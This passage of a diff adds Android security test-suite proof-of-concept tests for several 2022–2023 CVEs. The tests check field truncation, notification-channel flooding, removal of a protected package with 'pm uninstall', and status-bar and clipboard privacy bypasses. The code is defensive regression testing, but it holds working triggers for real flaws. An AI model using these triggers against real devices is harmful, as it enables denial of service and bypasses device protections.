+ checkFields(rule, ownerFlag, configActivityFlag, "\ncheckConstructor (owner=" + ownerFlag
+ + ", configActivity=" + configActivityFlag + "): ");
+ }
+
+ private void testIsConstructorVulnerable() {
+ // Check all three variants i.e. with owner, with configuration activity and with both
+ // owner and configuration activity. Although third case is mostly redundant, adding it to
+ // complete checks on all possible variants.
+ checkConstructor(/* ownerFlag */ true, /* configActivityFlag */ false);
+ checkConstructor(/* ownerFlag */ false, /* configActivityFlag */ true);
+ checkConstructor(/* ownerFlag */ true, /* configActivityFlag */ true);
+ }
+
+ private void checkFieldSetters(boolean ownerFlag, boolean configActivityFlag) {
+ ComponentName owner = ownerFlag ? mValidComponentName : null;
+ ComponentName configActivity = configActivityFlag ? mValidComponentName : null;
+ AutomaticZenRule rule = new AutomaticZenRule(ZEN_RULE_NAME, owner, configActivity,
+ mValidUri, null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+
+ // Check all fields that can be set via setter methods of AutomaticZenRule class
+ rule.setName(mLongString);
+ rule.setConditionId(mLongUri);
+ rule.setConfigurationActivity(mComponentNameWithLongFields);
+ checkFields(rule, /* ownerFlag */ false, /* configActivityFlag */ true,
+ "\ncheckFieldSetters (owner=" + ownerFlag + ", configActivity=" + configActivityFlag
+ + "): ");
+ }
+
+ private void testIsFieldSetterVulnerable() {
+ checkFieldSetters(/* ownerFlag */ true, /* configActivityFlag */ false);
+ checkFieldSetters(/* ownerFlag */ false, /* configActivityFlag */ true);
+ checkFieldSetters(/* ownerFlag */ true, /* configActivityFlag */ true);
+ }
+
+ private void checkParcelInput(boolean ownerFlag, boolean configActivityFlag)
+ throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+ ComponentName owner = ownerFlag ? mValidComponentName : null;
+ ComponentName configActivity = configActivityFlag ? mValidComponentName : null;
+ AutomaticZenRule rule = new AutomaticZenRule(ZEN_RULE_NAME, owner, configActivity,
+ mValidUri, null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+
+ // Create rules with long fields set directly via reflection so that we can confirm that a
+ // rule with too-long fields that comes in via a parcel has its fields truncated directly.
+ Class automaticZenRuleClass = Class.forName("android.app.AutomaticZenRule");
+ Field fieldName = automaticZenRuleClass.getDeclaredField("name");
+ fieldName.setAccessible(/* flag */ true);
+ fieldName.set(rule, mLongString);
+ Field fieldConditionId = automaticZenRuleClass.getDeclaredField("conditionId");
+ fieldConditionId.setAccessible(/* flag */ true);
+ fieldConditionId.set(rule, mLongUri);
+ if (ownerFlag) {
+ Field fieldOwner = automaticZenRuleClass.getDeclaredField("owner");
+ fieldOwner.setAccessible(/* flag */ true);
+ fieldOwner.set(rule, mComponentNameWithLongFields);
+ }
+ if (configActivityFlag) {
+ Field fieldConfigActivity =
+ automaticZenRuleClass.getDeclaredField("configurationActivity");
+ fieldConfigActivity.setAccessible(/* flag */ true);
+ fieldConfigActivity.set(rule, mComponentNameWithLongFields);
+ }
+
+ // Write AutomaticZenRule object to parcel
+ Parcel parcel = Parcel.obtain();
+ rule.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+
+ // Instantiate AutomaticZenRule object using parcel
+ AutomaticZenRule ruleFromParcel = new AutomaticZenRule(parcel);
+
+ checkFields(ruleFromParcel, ownerFlag, configActivityFlag, "\ncheckParcelInput (owner="
+ + ownerFlag + ", configActivity=" + configActivityFlag + "): ");
+ }
+
+ private void testIsInputFromParcelVulnerable()
+ throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+ checkParcelInput(/* ownerFlag */ true, /* configActivityFlag */ false);
+ checkParcelInput(/* ownerFlag */ false, /* configActivityFlag */ true);
+ checkParcelInput(/* ownerFlag */ true, /* configActivityFlag */ true);
+ }
+
+ // b/242703460, b/242703505, b/242703780, b/242704043, b/243794204
+ // Vulnerable library : framework.jar
+ // Vulnerable module : Not applicable
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = {242703460, 242703505, 242703780, 242704043, 243794204})
+ @Test
+ public void testPocCVE_2022_20456() {
+ try {
+ mLongString = String.join("", Collections.nCopies(INPUT_STRING_LENGTH, "A"));
+ mComponentNameWithLongFields = new ComponentName(mLongString, mLongString);
+ mValidComponentName = new ComponentName(PACKAGE_NAME, CLASS_NAME);
+ mLongUri = Uri.parse("condition://" + mLongString);
+ mValidUri = Uri.parse(URI_STRING);
+ mViolations = new ArrayList<String>();
+
+ // Check AutomaticZenRule constructor
+ testIsConstructorVulnerable();
+
+ // Check AutomaticZenRule field setters
+ testIsFieldSetterVulnerable();
+
+ // Check AutomaticZenRule constructor using parcel input
+ testIsInputFromParcelVulnerable();
+
+ assertTrue("Device is vulnerable to at least one of the following vulnerabilities : "
+ + "b/242703460(CVE-2022-20489), b/242703505(CVE-2022-20490), b/242703780"
+ + "(CVE-2022-20456), b/242704043(CVE-2022-20492), b/243794204(CVE-2022-20494)"
+ + " due to these violations where input string length=" + INPUT_STRING_LENGTH
+ + " and input uri length=" + mLongUri.toString().length() + ":" + mViolations,
+ mViolations.isEmpty());
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20482.java b/tests/tests/security/src/android/security/cts/CVE_2022_20482.java
new file mode 100644
index 0000000..a0df88c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20482.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20482 extends StsExtraBusinessLogicTestCase {
+
+ /**
+ * b/240422263
+ * Vulnerable library : services.jar
+ * Vulnerable module : Not applicable
+ * Is Play managed : No
+ */
+ @AsbSecurityTest(cveBugId = 240422263)
+ @Test
+ public void testPocCVE_2022_20482() {
+ final int notificationChannelLimit = 10000; // 2 * NOTIFICATION_CHANNEL_COUNT_LIMIT
+ final String notificationChannelId = "NotificationChannelId";
+ final String notificationChannelName = "NotificationChannelName";
+ boolean isVulnerable = true;
+ int notificationChannelCount = 0;
+ NotificationManager notificationManager = null;
+ ArrayList<String> notificationChannelIds = new ArrayList<>();
+ try {
+ Context context = getApplicationContext();
+ notificationManager = context.getSystemService(NotificationManager.class);
+
+ // Store total number of notification channels present before test run
+ notificationChannelCount = notificationManager.getNotificationChannels().size();
+
+ // Create 'notificationChannelLimit' notification channels
+ for (int i = 0; i < notificationChannelLimit; ++i) {
+ String uniqueNotificationChannelId = notificationChannelId + i;
+ NotificationChannel notificationChannel =
+ new NotificationChannel(uniqueNotificationChannelId,
+ notificationChannelName, NotificationManager.IMPORTANCE_DEFAULT);
+
+ // Create notification channel
+ notificationManager.createNotificationChannel(notificationChannel);
+
+ // Add notification channel id in list(for deleting notification channel later)
+ notificationChannelIds.add(uniqueNotificationChannelId);
+ }
+ } catch (Exception e) {
+ isVulnerable = false;
+ if (!(e instanceof IllegalStateException)
+ || !e.getMessage().contains("Limit exceed; cannot create more channels")) {
+ assumeNoException("Unexpected exception occurred!", e);
+ }
+ } finally {
+ try {
+ // Retrieve total number of notification channels added by test so that the
+ // test fails only if all notification channels from test were added successfully
+ notificationChannelCount = notificationManager.getNotificationChannels().size()
+ - notificationChannelCount;
+ boolean flagAllNotificationChannelsAdded =
+ notificationChannelCount == notificationChannelLimit;
+
+ // Delete notification channels created earlier
+ for (String id : notificationChannelIds) {
+ notificationManager.deleteNotificationChannel(id);
+ }
+
+ // Fail if all notification channels from test were added successfully without
+ // any occurrence of IllegalStateException
+ assertFalse(
+ "Device is vulnerable to b/240422263! Permanent denial of service"
+ + " possible via NotificationManager#createNotificationChannel",
+ isVulnerable && flagAllNotificationChannelsAdded);
+ } catch (Exception ignoredException) {
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20493.java b/tests/tests/security/src/android/security/cts/CVE_2022_20493.java
new file mode 100644
index 0000000..4933dc6
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20493.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.service.notification.Condition;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import java.lang.reflect.Field;
+import java.util.Collections;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/*
+ * This CTS test has been created taking reference from the tests present in
+ * frameworks/base/core/tests/coretests/src/android/service/notification/ConditionTest.java
+ */
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20493 extends StsExtraBusinessLogicTestCase {
+ private static final int INPUT_STRING_LENGTH = 2000;
+ private String mLongString;
+ private String mValidString;
+ private Uri mLongUri;
+ private Uri mValidUri;
+
+ private boolean checkFields(Condition condition, boolean checkLine) {
+ // Check all fields
+ boolean status = (mLongUri.toString().length() <= condition.id.toString().length())
+ || (INPUT_STRING_LENGTH <= condition.summary.length());
+ if (checkLine) {
+ status = status || (INPUT_STRING_LENGTH <= condition.line1.length())
+ || (INPUT_STRING_LENGTH <= condition.line2.length());
+ }
+ return status;
+ }
+
+ private boolean testLongFieldsInConstructors() {
+ // Confirm strings are truncated via short constructor
+ Condition firstCondition = new Condition(mLongUri, mLongString, Condition.STATE_TRUE);
+
+ // Confirm strings are truncated via long constructor
+ Condition secondCondition = new Condition(mLongUri, mLongString, mLongString, mLongString,
+ -1, Condition.STATE_TRUE, Condition.FLAG_RELEVANT_ALWAYS);
+ return checkFields(firstCondition, false) || checkFields(secondCondition, true);
+ }
+
+ private boolean setFieldsUsingReflection(boolean setLine)
+ throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+ // Set fields via reflection to force them to be long, then parcel and unparcel to make sure
+ // it gets truncated upon unparcelling.
+ Condition condition;
+ if (setLine) {
+ condition = new Condition(mValidUri, mValidString, mValidString, mValidString, -1,
+ Condition.STATE_TRUE, Condition.FLAG_RELEVANT_ALWAYS);
+ } else {
+ condition = new Condition(mValidUri, mValidString, Condition.STATE_TRUE);
+ }
+
+ Class conditionClass = Class.forName("android.service.notification.Condition");
+ Field id = conditionClass.getDeclaredField("id");
+ id.setAccessible(true);
+ id.set(condition, mLongUri);
+ Field summary = conditionClass.getDeclaredField("summary");
+ summary.setAccessible(true);
+ summary.set(condition, mLongString);
+ if (setLine) {
+ Field line1 = conditionClass.getDeclaredField("line1");
+ line1.setAccessible(true);
+ line1.set(condition, mLongString);
+ Field line2 = conditionClass.getDeclaredField("line2");
+ line2.setAccessible(true);
+ line2.set(condition, mLongString);
+ }
+
+ Parcel parcel = Parcel.obtain();
+ condition.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+
+ Condition conditionFromParcel = new Condition(parcel);
+ return checkFields(conditionFromParcel, setLine);
+ }
+
+ private boolean testLongFieldsFromParcel()
+ throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+ return setFieldsUsingReflection(true) || setFieldsUsingReflection(false);
+ }
+
+ /**
+ * b/242846316
+ * Vulnerable library : framework.jar
+ * Vulnerable module : Not applicable
+ * Is Play managed : No
+ */
+ @AsbSecurityTest(cveBugId = 242846316)
+ @Test
+ public void testPocCVE_2022_20493() {
+ try {
+ mLongString = String.join("", Collections.nCopies(INPUT_STRING_LENGTH, "A"));
+ mLongUri = Uri.parse("condition://" + mLongString);
+ mValidUri = Uri.parse("condition://android");
+ mValidString = "placeholder";
+ boolean firstResult = testLongFieldsInConstructors();
+ boolean secondResult = testLongFieldsFromParcel();
+ assertFalse("Device is vulnerable to b/242846316!", firstResult || secondResult);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20611.java b/tests/tests/security/src/android/security/cts/CVE_2022_20611.java
new file mode 100644
index 0000000..02526f4
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20611.java
@@ -0,0 +1,63 @@
+/**
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20611 extends StsExtraBusinessLogicTestCase {
+ /**
+ * CVE-2022-20611
+ */
+ @AsbSecurityTest(cveBugId = 242996180)
+ @Test
+ public void testPocCVE_2022_20611() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ int provisioningAppId = context.getResources().getIdentifier(
+ "config_deviceProvisioningPackage", "string", "android");
+ assumeTrue("config_deviceProvisioningPackage not found.", provisioningAppId > 0);
+
+ String protectedPkg = context.getResources().getString(provisioningAppId);
+ assumeFalse("config_deviceProvisioningPackage is not set", protectedPkg.isEmpty());
+
+ String res = runShellCommand("pm list packages " + protectedPkg);
+ assumeTrue(protectedPkg + " is not installed.", res.contains(protectedPkg));
+
+ res = runShellCommand("pm uninstall -k --user 0 " + protectedPkg);
+ if (!res.contains("DELETE_FAILED_INTERNAL_ERROR")) {
+ runShellCommand("pm install-existing --user 0 " + protectedPkg);
+ fail(
+ "Protected package '" + protectedPkg + "' could be uninstalled. "
+ + "Vulnerable to b/242994180.");
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_20926.java b/tests/tests/security/src/android/security/cts/CVE_2023_20926.java
new file mode 100644
index 0000000..2dfc34e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_20926.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20926;
+
+import static com.android.sts.common.SystemUtil.withSetting;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Instrumentation;
+import android.app.StatusBarManager;
+import android.content.Context;
+import android.media.MediaRecorder;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_20926 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 253043058)
+ @Test
+ public void testPocCVE_2023_20926() {
+ Instrumentation instrumentation = null;
+ MediaRecorder mediaRecorder = null;
+ try {
+ instrumentation = InstrumentationRegistry.getInstrumentation();
+ UiDevice uiDevice = UiDevice.getInstance(instrumentation);
+ Context context = instrumentation.getTargetContext();
+
+ // Disable global settings device_provisioned. This is required as fix adds a check
+ // based on the state of this setting
+ try (AutoCloseable withSettingAutoCloseable =
+ withSetting(instrumentation, "global", "device_provisioned", "0")) {
+ // Start recording audio to show the vulnerable icon
+ mediaRecorder = new MediaRecorder(context);
+ mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+ mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
+ mediaRecorder.setOutputFile(
+ new File(getContext().getFilesDir(), "CVE-2023-20926.output").getPath());
+ mediaRecorder.prepare();
+ mediaRecorder.start();
+
+ // Expand statusbar and detect the vulnerability by clicking the vulnerable icon
+ context.getSystemService(StatusBarManager.class).expandNotificationsPanel();
+ uiDevice.findObject(By.res("com.android.systemui", "icons_container")).click();
+ assertFalse(
+ uiDevice.wait(
+ Until.hasObject(
+ By.text(
+ Pattern.compile(
+ String.format(
+ ".*%s.*", context.getPackageName()),
+ Pattern.CASE_INSENSITIVE))),
+ 5000));
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ if (mediaRecorder != null) {
+ mediaRecorder.release();
+ }
+ SystemUtil.runShellCommand(instrumentation, "input keyevent KEYCODE_HOME");
+ } catch (Exception e) {
+ // Ignoring exceptions as the test has completed.
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_20953/CVE_2023_20953.java b/tests/tests/security/src/android/security/cts/CVE_2023_20953/CVE_2023_20953.java
new file mode 100644
index 0000000..8c1863c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_20953/CVE_2023_20953.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20953;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.SystemUtil;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_20953 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 251778420)
+ @Test
+ public void testCliboardIfUserSetupNotComplete() {
+ try {
+ Instrumentation instrumentation = getInstrumentation();
+ Context context = instrumentation.getContext();
+ UiDevice device = UiDevice.getInstance(instrumentation);
+
+ // Change the setting 'user_setup_complete' to 0.
+ try (AutoCloseable withSettingCloseable =
+ SystemUtil.withSetting(instrumentation, "secure", "user_setup_complete", "0")) {
+ // Launch the PocActivity which shows a basic view to edit some text.
+ final String pkgName = context.getPackageName();
+ Intent intent = new Intent();
+ intent.setClassName(pkgName, pkgName + ".CVE_2023_20953.PocActivity");
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+
+ // Look for UI with text "CVE-2023-20955" and select it. Doing so will show some
+ // clipboard options such as 'copy', 'select all', 'cut'.
+ final String uiNotFoundMsg = "UI not found with selector %s";
+ BySelector selector = By.text("CVE-2023-20955");
+ final long timeoutMs = 5000;
+ boolean uiFound = device.wait(Until.findObject(selector), timeoutMs) != null;
+ assumeTrue(String.format(uiNotFoundMsg, selector), uiFound);
+ UiObject2 object = device.findObject(selector);
+ device.drag(object.getVisibleBounds().left, object.getVisibleCenter().y,
+ object.getVisibleBounds().right, object.getVisibleCenter().y, 1);
+
+ // Click on 'Copy' option.
+ selector = By.desc(Pattern.compile(".*copy.*", Pattern.CASE_INSENSITIVE));
+ uiFound = device.wait(Until.findObject(selector), timeoutMs) != null;
+ assumeTrue(String.format(uiNotFoundMsg, selector), uiFound);
+ device.findObject(selector).click();
+
+ // Retrieve System UI package name dynamically.
+ String systemUiPkgName = "com.android.systemui";
+ intent = new Intent(Intent.ACTION_SHOW_BRIGHTNESS_DIALOG);
+ PackageManager pm = context.getPackageManager();
+ ResolveInfo info = pm.resolveActivity(intent, PackageManager.MATCH_SYSTEM_ONLY);
+ if (info != null && info.activityInfo != null
+ && info.activityInfo.packageName != null) {
+ systemUiPkgName = info.activityInfo.packageName;
+ }
+
+ // On vulnerable device, user whose setup is not yet complete will be able to share
+ // the copied text, in which case test fails, else it passes.
+ // Look for UI with resource = com.android.systemui:id/share_chip, if found test
+ // will fail.
+ final String shareBtnResName = "%s:id/share_chip";
+ selector = By.res(String.format(shareBtnResName, systemUiPkgName));
+ assertFalse("Vulnerable to b/251778420 !!",
+ device.wait(Until.hasObject(selector), timeoutMs));
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2023_20953/PocActivity.java
similarity index 62%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
copy to tests/tests/security/src/android/security/cts/CVE_2023_20953/PocActivity.java
index ad87ea7..5ef6ceb 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_20953/PocActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,20 +14,23 @@
* limitations under the License.
*/
-package android.security.cts.CVE_2022_20007_attacker;
+package android.security.cts.CVE_2023_20953;
import android.app.Activity;
import android.os.Bundle;
-import android.view.WindowManager;
+import android.widget.EditText;
public class PocActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
- setTheme(android.R.style.Theme_Translucent_NoTitleBar_Fullscreen);
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
- | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
+ try {
+ super.onCreate(savedInstanceState);
+ EditText editText = new EditText(this);
+ editText.setText("CVE-2023-20955");
+ setContentView(editText);
+ } catch (Exception e) {
+ // ignore
+ }
}
}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_20959.java b/tests/tests/security/src/android/security/cts/CVE_2023_20959.java
new file mode 100644
index 0000000..00c0e6d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_20959.java
@@ -0,0 +1,73 @@
+/**
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_20959 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 249057848)
+ @Test
+ public void testPocCVE_2023_20959() {
+ UiAutomation uiAutomation = null;
+ try {
+ String settingsPackageName = "com.android.settings";
+ Instrumentation instrumentation = getInstrumentation();
+ PackageManager packageManager = instrumentation.getTargetContext().getPackageManager();
+ uiAutomation = instrumentation.getUiAutomation();
+ uiAutomation.adoptShellPermissionIdentity(
+ android.Manifest.permission.INTERACT_ACROSS_USERS);
+ ResolveInfo info =
+ packageManager.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS),
+ PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+ if (info != null && info.activityInfo != null) {
+ settingsPackageName = info.activityInfo.packageName;
+ }
+ assertNull(new Intent()
+ .setComponent(new ComponentName(settingsPackageName,
+ settingsPackageName + ".users.AddSupervisedUserActivity"))
+ .resolveActivityInfo(packageManager, PackageManager.MATCH_SYSTEM_ONLY));
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ uiAutomation.dropShellPermissionIdentity();
+ } catch (Exception e) {
+ // Ignore exceptions as the test has finished
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_21087.java b/tests/tests/security/src/android/security/cts/CVE_2023_21087.java
new file mode 100644
index 0000000..ddb5503
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_21087.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_21087 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 261723753)
+ @Test
+ public void testPocCVE_2023_21087() {
+ try {
+ // Taking reference from the constant of the same name located at
+ // path:services\core\java\com\android\server\notification\PreferencesHelper.java
+ // and using twice it's original value as notificationChannelGroupCountLimit.
+ final int notificationChannelGroupCountLimit = 12000;
+
+ // Adding notification channel groups more than the set limit.
+ NotificationManager notificationManager =
+ getApplicationContext().getSystemService(NotificationManager.class);
+ try {
+ for (int i = 0; i < notificationChannelGroupCountLimit; ++i) {
+ NotificationChannelGroup group =
+ new NotificationChannelGroup(String.valueOf(i), String.valueOf(i));
+ notificationManager.createNotificationChannelGroup(group);
+ }
+ fail(
+ "Device is vulnerable to b/261723753 !! Allowed to create notification"
+ + " channel groups more than the current count limit of 6000");
+ } catch (IllegalStateException e) {
+
